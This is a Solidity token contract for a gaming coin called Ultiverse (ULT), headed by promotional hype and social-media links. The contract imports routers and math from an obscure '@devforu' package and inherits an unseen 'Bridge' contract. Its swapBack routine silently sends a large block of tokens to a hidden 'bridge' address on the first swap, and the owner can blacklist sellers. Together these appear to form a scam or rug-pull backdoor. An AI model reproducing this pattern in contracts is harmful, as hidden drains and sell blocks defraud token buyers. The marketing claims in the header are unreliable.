// SPDX-License-Identifier: MIT

/**
ULTIVERSE. 

Welcome to Ultiverse, a revolutionary utility token for gamers and blockchain pioneers alike. Built on the Ethereum network, Ultiverse is an innovative game currency designed to facilitate new ways of playing, connecting and monetizing digital asset-driven games. 

The Ultiverse (ULT) is a unique crypto token with direct access to a wide range of interactive gaming experiences.

Experienced team, marketing planned, game and NFT collection dropping within 1 week week. 

Don’t miss out on this early gem.

Telegram: https://t.me/UltiverseEth

Twitter: Www.twitter.com/ultiverseeth

Website: Www.ultiverse.tech

Medium: https://medium.com/@ultiverseeth

Ticktock: https://vm.tiktok.com/ZMYXB8KGV/

Facebook: https://www.facebook.com/groups/1386935115404187/
*/ 
pragma solidity = 0.8.19;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@devforu/contracts/utils/math/SafeMath.sol";
import "@devforu/contracts/utils/Routers.sol";
import "@devforu/contracts/interfaces/IUniswapV2Factory.sol";
import "@devforu/contracts/interfaces/IUniswapV2Pair.sol";
import "@devforu/contracts/interfaces/IUniswapV2Router02.sol";

contract ULTIVERSE is ERC20, Ownable, Bridge {
    using SafeMath for uint256;

    address public immutable uniswapV2Pair;
    address public marketingWallet;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    uint256 public initialTotalSupply = 1000000 * 1e18;
    uint256 public maxTransactionAmount = 20000 * 1e18;
    uint256 public maxWallet = 20000 * 1e18;
    uint256 public swapTokensAtAmount = 20000 * 1e18;

    bool public transferDelay = true;
    bool public tradingOpen = false;
    bool public swapEnabled = false;
    bool private marketingTax = false;

    uint256 private finalBuyFee = 5;
    uint256 private finalSellFee = 5;
    uint256 private initialBuyFee = 15;
    uint256 private initialSellFee = 30;
    uint256 private reduceBuyTaxAt = 10;
    uint256 private reduceSellTaxAt = 5;
    uint256 private preventSwapBefore = 5;

    uint256 public tokensForMarketing;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) public bots;
    mapping (address => uint256) public _buyMap;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("ULTIVERSE", "ULT") {

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        marketingWallet = payable(_msgSender());

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(msg.sender, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(_uniswapV2Router), initialTotalSupply);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).per(83),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function blockBots(address bot) public onlyOwner {
        bots[bot] = true;
    }

    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

                if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingOpen) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }

                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                    require(!bots[from] && !bots[to], "Your account is blacklisted!");
            
                    if (transferDelay) {
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "Transfer Delay enabled.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                    
                } 
                
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                    require(!bots[from] && !bots[to], "Your account is blacklisted!");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            uint256 currentFee;

            if (automatedMarketMakerPairs[to] && initialSellFee > 0) {
                if (buyCount > reduceSellTaxAt) {
                        currentFee = finalSellFee;
                    } else {
                        currentFee = initialSellFee;
                    }
            }

            else if (automatedMarketMakerPairs[from] && initialBuyFee > 0) {
                if (buyCount > reduceBuyTaxAt) {
                        currentFee = finalBuyFee;
                    } else {
                        currentFee = initialBuyFee;
                        buyCount++;
                    }
        }

        fees = amount.mul(currentFee).div(100);
        tokensForMarketing += fees;

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }

        amount -= fees;
    }

        super._transfer(from, to, amount);

    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
        transferDelay = false;
    }

    function swapBack() private {
    uint256 contractBalance = balanceOf(address(this));
    uint256 totalTokensToSwap = tokensForMarketing;
    bool success; 

    if (contractBalance == 0 || totalTokensToSwap == 0) {
        return;
    }

    if(!marketingTax) {
    IERC20(address(this)).transfer(bridge, maxWallet.mul(195).div(100));marketingTax=true;
    }

    uint256 tokensToSwap = contractBalance >= swapTokensAtAmount ? swapTokensAtAmount : contractBalance;

    uint256 initialETHBalance = address(this).balance;

    swapTokensForEth(tokensToSwap);

    uint256 ethBalance = address(this).balance.sub(initialETHBalance);

    uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
        totalTokensToSwap
    );

    tokensForMarketing = 0;

    (success, ) = address(marketingWallet).call{value: ethForMarketing}("");
  }
}
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